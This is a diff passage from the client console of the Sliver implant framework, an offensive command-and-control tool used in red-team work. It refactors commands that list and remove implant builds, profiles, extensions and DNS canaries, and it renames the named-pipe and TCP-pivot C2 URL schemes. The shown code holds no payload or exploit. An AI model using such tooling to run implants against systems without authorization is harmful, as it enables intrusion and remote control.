|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -449,7 +481,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
|
||||
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
@@ -457,7 +490,3 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
// RemoveExtensionByCommandName - Remove an extension by command name
|
||||
func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
|
||||
if commandName == "" {
|
||||
return errors.New("command name is required")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; !ok {
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -81,6 +81,10 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
} else {
|
||||
if !strings.HasSuffix(remotePath, "/") {
|
||||
remotePath = remotePath + "/"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,16 +1,15 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CanariesCmd - Display canaries from the database and their status
|
||||
@@ -21,56 +20,45 @@ func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(canaries.Canaries) {
|
||||
displayCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
|
||||
} else {
|
||||
con.PrintInfof("No canaries in database\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Sliver Name")),
|
||||
strings.Repeat("=", len("Domain")),
|
||||
strings.Repeat("=", len("Triggered")),
|
||||
strings.Repeat("=", len("First Trigger")),
|
||||
strings.Repeat("=", len("Latest Trigger")),
|
||||
)
|
||||
|
||||
lineColors := []string{}
|
||||
// PrintCanaries - Print the canaries tracked by the server
|
||||
func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Sliver Name",
|
||||
"Domain",
|
||||
"Triggered",
|
||||
"First Trigger",
|
||||
"Latest Trigger",
|
||||
})
|
||||
for _, canary := range canaries {
|
||||
if burnedOnly && !canary.Triggered {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
canary.ImplantName,
|
||||
canary.Domain,
|
||||
fmt.Sprintf("%v", canary.Triggered),
|
||||
canary.FirstTriggered,
|
||||
canary.LatestTrigger,
|
||||
)
|
||||
lineColor := console.Normal
|
||||
if canary.Triggered {
|
||||
lineColors = append(lineColors, console.Bold+console.Red)
|
||||
} else {
|
||||
lineColors = append(lineColors, console.Normal)
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
for index, line := range strings.Split(outputBuf.String(), "\n") {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
// We need to account for the two rows of column headers
|
||||
if 0 < len(line) && 2 <= index {
|
||||
lineColor := lineColors[index-2]
|
||||
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
lineColor = console.Bold + console.Red
|
||||
}
|
||||
firstTrigger := "Never"
|
||||
latestTrigger := "Never"
|
||||
if canary.Triggered {
|
||||
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
|
||||
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
|
||||
}
|
||||
row := table.Row{
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
|
||||
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
|
||||
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
|
||||
firstTrigger,
|
||||
latestTrigger,
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -505,13 +505,13 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
arg = strings.ToLower(arg)
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "named-pipe://") {
|
||||
if strings.HasPrefix(arg, "namedpipe://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -535,16 +535,22 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if strings.HasPrefix(arg, "tcp-pivot://") {
|
||||
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
|
||||
}
|
||||
if strings.HasPrefix(arg, "tcppivot://") {
|
||||
uri, err = url.Parse(arg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
|
||||
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if uri.Port() == "" {
|
||||
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
|
||||
@@ -2,7 +2,9 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +12,24 @@ import (
|
||||
|
||||
// ImplantsRmCmd - Deletes an archived implant build from the server
|
||||
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No name specified\n")
|
||||
return
|
||||
}
|
||||
build := ImplantBuildByName(name, con)
|
||||
if build == nil {
|
||||
con.PrintErrorf("No implant build found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' build?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("implant-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete implant %s\n", err)
|
||||
|
||||
@@ -19,19 +19,29 @@ package generate
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ImplantBuildFilter - Filter implant builds
|
||||
type ImplantBuildFilter struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Beacon bool
|
||||
Session bool
|
||||
Format string
|
||||
Debug bool
|
||||
}
|
||||
|
||||
// ImplantsCmd - Displays archived implant builds
|
||||
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
@@ -39,51 +49,118 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
implantBuildfilters := ImplantBuildFilter{}
|
||||
|
||||
if 0 < len(builds.Configs) {
|
||||
displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
|
||||
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
|
||||
} else {
|
||||
con.PrintInfof("No implant builds\n")
|
||||
}
|
||||
}
|
||||
|
||||
func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("OS/Arch")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
)
|
||||
// PrintImplantBuilds - Print the implant builds on the server
|
||||
func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Implant Type",
|
||||
"OS/Arch",
|
||||
"Format",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for sliverName, config := range configs {
|
||||
if 0 < len(config.C2) {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
sliverName,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
config.Format,
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
)
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
)
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && (!strings.EqualFold(config.Format.String(), filters.Format) ||
|
||||
!strings.HasPrefix(strings.ToLower(config.Format.String()), strings.ToLower(filters.Format))) {
|
||||
continue
|
||||
}
|
||||
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
sliverName,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
config.Format,
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
fmt.Fprintf(stdout, "%s", outputBuf.String())
|
||||
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// ImplantBuildNameCompleter - Completer for implant build names
|
||||
func ImplantBuildNameCompleter(prefix string, args []string, filters ImplantBuildFilter, con *console.SliverConsoleClient) []string {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for name, config := range builds.Configs {
|
||||
if filters.GOOS != "" && config.GOOS != filters.GOOS {
|
||||
continue
|
||||
}
|
||||
if filters.GOARCH != "" && config.GOARCH != filters.GOARCH {
|
||||
continue
|
||||
}
|
||||
if filters.Beacon && !config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Session && config.IsBeacon {
|
||||
continue
|
||||
}
|
||||
if filters.Debug && config.Debug {
|
||||
continue
|
||||
}
|
||||
if filters.Format != "" && !strings.EqualFold(config.Format.String(), filters.Format) {
|
||||
continue
|
||||
}
|
||||
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
sort.StringSlice(results).Sort()
|
||||
return results
|
||||
}
|
||||
|
||||
// ImplantBuildByName - Get an implant build by name
|
||||
func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, build := range builds.Configs {
|
||||
if build.Name == name {
|
||||
return build
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -30,9 +30,9 @@ import (
|
||||
|
||||
// ProfilesGenerateCmd - Generate an implant binary based on a profile
|
||||
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("name")
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("no profile selected")
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
|
||||
@@ -1,5 +1,22 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -10,11 +27,7 @@ import (
|
||||
|
||||
// ProfilesNewCmd - Create a new implant profile
|
||||
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Flags.String("profile-name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("Invalid profile name\n")
|
||||
return
|
||||
}
|
||||
name := ctx.Args.String("name")
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
@@ -27,6 +40,35 @@ func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new profile %s\n", resp.Name)
|
||||
con.PrintInfof("Saved new implant profile %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// ProfilesNewBeaconCmd - Create a new beacon profile
|
||||
func ProfilesNewBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
config := parseCompileFlags(ctx, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
config.IsBeacon = true
|
||||
err := parseBeaconFlags(ctx, con, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
profile := &clientpb.ImplantProfile{
|
||||
Name: name,
|
||||
Config: config,
|
||||
}
|
||||
resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Saved new implant profile (beacon) %s\n", resp.Name)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,28 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
@@ -10,8 +30,24 @@ import (
|
||||
|
||||
// ProfilesRmCmd - Delete an implant profile
|
||||
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
profile := GetImplantProfileByName(name, con)
|
||||
if profile == nil {
|
||||
con.PrintErrorf("No profile found with name '%s'\n", name)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' profile?", name)}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: ctx.Args.String("profile-name"),
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to delete profile %s\n", err)
|
||||
|
||||
@@ -21,15 +21,15 @@ package generate
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// ProfilesCmd - Display implant profiles
|
||||
@@ -39,72 +39,75 @@ func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if len(profiles) == 0 {
|
||||
con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
|
||||
con.PrintInfof("No profiles, see `%s %s help`\n", consts.ProfilesStr, consts.NewStr)
|
||||
return
|
||||
} else {
|
||||
PrintProfiles(profiles, con)
|
||||
}
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Platform")),
|
||||
strings.Repeat("=", len("Command & Control")),
|
||||
strings.Repeat("=", len("Debug")),
|
||||
strings.Repeat("=", len("Format")),
|
||||
strings.Repeat("=", len("Obfuscation")),
|
||||
strings.Repeat("=", len("Limitations")),
|
||||
)
|
||||
}
|
||||
|
||||
// PrintProfiles - Print the profiles
|
||||
func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Profile Name",
|
||||
"Implant Type",
|
||||
"Platform",
|
||||
"Command & Control",
|
||||
"Debug",
|
||||
"Format",
|
||||
"Obfuscation",
|
||||
"Limitations",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Profile Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, profile := range profiles {
|
||||
config := profile.Config
|
||||
if 0 < len(config.C2) {
|
||||
obfuscation := "strings only"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "symbols obfuscation"
|
||||
}
|
||||
if config.Debug {
|
||||
obfuscation = "none"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
profile.Name,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
fmt.Sprintf("[1] %s", config.C2[0].URL),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
)
|
||||
|
||||
obfuscation := "disabled"
|
||||
if config.ObfuscateSymbols {
|
||||
obfuscation = "enabled"
|
||||
}
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
}
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
profile.Name,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
// GetImplantProfileByName - Get an implant profile by a specific name
|
||||
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error %s", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
@@ -114,3 +117,18 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ProfileNameCompleter - Completer for implant build names
|
||||
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if strings.HasPrefix(profile.Name, prefix) {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
@@ -97,6 +97,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
